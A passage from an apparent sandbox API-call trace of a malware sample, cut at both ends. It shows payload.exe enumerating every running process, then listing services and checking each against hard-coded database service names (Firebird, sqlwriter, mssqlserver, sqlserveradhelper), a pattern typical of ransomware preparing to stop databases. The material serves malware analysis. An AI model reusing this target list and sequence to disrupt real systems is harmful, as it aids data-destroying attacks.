1 [0056.330] lstrlenW (lpString="svchost.exe") returned 11 [0056.330] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.330] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.330] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.331] lstrlenW (lpString="svchost.exe") returned 11 [0056.331] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.332] lstrlenW (lpString="svchost.exe") returned 11 [0056.332] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.332] lstrlenW (lpString="audiodg.exe") returned 11 [0056.333] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0056.333] lstrlenW (lpString="sihost.exe") returned 10 [0056.333] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.334] lstrlenW (lpString="svchost.exe") returned 11 [0056.334] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0056.335] lstrlenW (lpString="taskhostw.exe") returned 13 [0056.335] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0056.335] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0056.335] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0056.336] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0056.336] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.337] lstrlenW (lpString="explorer.exe") returned 12 [0056.337] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0056.337] lstrlenW (lpString="Memory Compression") returned 18 [0056.337] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0056.338] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0056.338] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0056.339] lstrlenW (lpString="SearchUI.exe") returned 12 [0056.339] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0056.340] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0056.340] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.340] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.340] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0056.341] lstrlenW (lpString="taskhostw.exe") returned 13 [0056.341] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0056.342] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0056.342] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0056.342] lstrlenW (lpString="msoia.exe") returned 9 [0056.342] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0056.343] lstrlenW (lpString="UsoClient.exe") returned 13 [0056.343] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0056.344] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0056.344] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0056.344] lstrlenW (lpString="msoia.exe") returned 9 [0056.344] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0056.767] lstrlenW (lpString="taskhostw.exe") returned 13 [0056.767] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0056.768] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0056.768] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0056.768] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0056.768] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0056.769] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0056.769] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0056.770] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0056.770] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0056.770] lstrlenW (lpString="arcobviously.exe") returned 16 [0056.770] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0056.771] lstrlenW (lpString="preston disciplines.exe") returned 23 [0056.771] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0056.772] lstrlenW (lpString="boss.exe") returned 8 [0056.772] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0056.772] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0056.772] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0056.773] lstrlenW (lpString="placing.exe") returned 11 [0056.773] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0056.774] lstrlenW (lpString="heroes.exe") returned 10 [0056.774] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0056.775] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0056.775] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0056.775] lstrlenW (lpString="requirement moments.exe") returned 23 [0056.775] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0056.776] lstrlenW (lpString="sugar.exe") returned 9 [0056.776] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0056.777] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0056.777] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0056.778] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0056.778] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0056.779] lstrlenW (lpString="genealogy.exe") returned 13 [0056.779] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0056.779] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0056.779] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0056.780] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0056.780] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0056.781] lstrlenW (lpString="expenditure.exe") returned 15 [0056.781] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0056.782] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0056.782] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0056.783] lstrlenW (lpString="upgrading.exe") returned 13 [0056.783] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0056.783] lstrlenW (lpString="conservative.exe") returned 16 [0056.783] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0056.784] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0056.784] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0056.785] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0056.785] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0056.786] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0056.786] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0056.786] lstrlenW (lpString="gods violations duke.exe") returned 24 [0056.786] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0056.787] lstrlenW (lpString="dllhost.exe") returned 11 [0056.787] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.788] lstrlenW (lpString="conhost.exe") returned 11 [0056.788] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.789] lstrlenW (lpString="conhost.exe") returned 11 [0056.789] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0056.790] lstrlenW (lpString="payload.exe") returned 11 [0056.790] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.790] lstrlenW (lpString="cmd.exe") returned 7 [0056.790] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.791] lstrlenW (lpString="conhost.exe") returned 11 [0056.791] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0056.792] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0056.792] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.792] lstrlenW (lpString="conhost.exe") returned 11 [0056.792] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.793] lstrlenW (lpString="svchost.exe") returned 11 [0056.793] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0056.794] lstrlenW (lpString="mode.com") returned 8 [0056.794] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0056.795] CloseHandle (hObject=0x30c) returned 1 [0056.795] Sleep (dwMilliseconds=0x1f4) [0057.324] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceed0 [0057.324] EnumServicesStatusExW (in: hSCManager=0x6ceed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0057.324] GetLastError () returned 0xea [0057.324] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ce8) returned 0x6f6108 [0057.325] EnumServicesStatusExW (in: hSCManager=0x6ceed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1ce8, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0057.325] CloseServiceHandle (hSCObject=0x6ceed0) returned 1 [0057.325] lstrlenW (lpString="Appinfo") returned 7 [0057.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.325] lstrlenW (lpString="AppXSvc") returned 7 [0057.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0057.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0057.326] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0057.326] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0057.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0057.326] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.326] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.326] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.326] lstrlenW (lpString="Audiosrv") returned 8 [0057.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0057.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0057.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0057.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0057.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0057.326] lstrlenW (lpString="BFE") returned 3 [0057.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.326] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.326] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.326] lstrlenW (lpString="BITS") returned 4 [0057.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0057.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0057.326] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0057.326] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0057.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0057.326] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0057.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0057.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 